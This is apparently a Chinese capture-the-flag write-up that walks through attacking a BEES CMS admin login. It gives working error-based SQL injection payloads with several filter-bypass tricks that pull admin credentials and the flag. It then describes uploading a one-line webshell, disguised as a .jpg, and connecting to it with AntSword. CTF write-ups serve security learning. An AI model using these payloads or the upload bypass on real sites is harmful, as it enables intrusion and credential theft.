解题思路
习惯在url后加admin,看是不是管理后台。
一看发现是,就不用目录扫描工具了

填入正确的验证码,抓包输入',查看有无报错
发现报错了,存在报错注入,看报错描述可以知道是字符型注入

查看当前数据库
payload
' or extractvalue(1,concat(0x7e,database()))%23

查看当前库的所有表
payload
' or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))%23
爆出错误,可以看到select被吃了

尝试双写+大小写绕过
payload
user=' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(table_name)from information_schema.tables where table_schema=database())))%23
select出来了,但是看到=被吃掉了

使用like替代=
payload
' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(table_name)from information_schema.tables where table_schema like database())))%23
where去哪了??

在where后加个*
payload
' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(table_name)from information_schema.tables WHERE* table_schema like database())))%23
经过一系列的绕过技术,查询语句终于奏效

extractvalue()函数默认报错显示32个字符,剩下的字符可以用substr(column,31,62)查询后32个字符,以此类推。
payload
' or extractvalue(1,concat(0x7e,(SEselectlECT substr(group_concat(table_name),31,62)from information_schema.tables WHERE* table_schema like database())))%23

盲猜账号密码在bees_admin表中,直接查bees_admin字段名
payload
' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(column_name) from information_schema.columns where* table_name like 'bees_admin' and table_schema like database())))%23
这里将空格全部转为%0a,因为有时候可能是匹配关键字+空格导致吃掉关键字,其实从一开始就把空格变为%0a,就可以不用绕过太多关键字
payload
'%0aor%0aextractvalue(1,concat(0x7e,(SEselectlECT%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere*%0atable_name%0alike%0a'bees_admin'%0aand%0atable_schema%0alike%0adatabase())))%23
我这里写了个py脚本进行转换
sql = r"""' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(column_name) from information_schema.columns where* table_name like 'bees_admin' and table_schema like database())))%23"""
# 将空格替换成%0a
def spaceBypass(sql):
str = sql.replace(' ','%0a')
return str
sql = spaceBypass(sql)
print(sql)
可以查询到bees_admin的字段

接下来查询admin_name和admin_password的值
原来payload
' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(concat(admin_name,':',admin_password)) from bees.bees_admin)))%23
绕过空格payload
'%0aor%0aextractvalue(1,concat(0x7e,(SEselectlECT%0agroup_concat(concat(admin_name,':',admin_password))%0afrom%0abees.bees_admin)))%23

防止还有字符没显示出来,使用substr(str,31,62)查看一下后面的内容
payload
'%0aor%0aextractvalue(1,concat(0x7e,substr((SEselectlECT%0agroup_concat(concat(admin_name,':',admin_password))%0afrom%0abees.bees_admin),31,62)))%23
可以看到flag

注意:这里的4跟前面最后一个4是重复的
继续往后查询
substr(str,62,93)
'%0aor%0aextractvalue(1,concat(0x7e,substr((SEselectlECT%0agroup_concat(concat(admin_name,':',admin_password))%0afrom%0abees.bees_admin),62,93)))%23

将上面flag组合起来就是flag:47ec2dd791e31e2ef2076caf64ed9b3d
解码test123456,拿去一试发现错误,已经习惯了
只好查询账号密码登录后台
组合admin:21232f297a57a5a743894a0e4a801fc3

所以账号密码就是admin admin

找到上传点,上传一句话

shell.jpg内容如下

上传的时候抓包,修改后缀名为php,从而绕过前端后缀名验证

上传成功

可以在burpsuite看到上传点

浏览器访问上传点看能否访问
接着使用蚁剑连接


连接成功,开始找flag

在BEES根目录下找到flag.txt













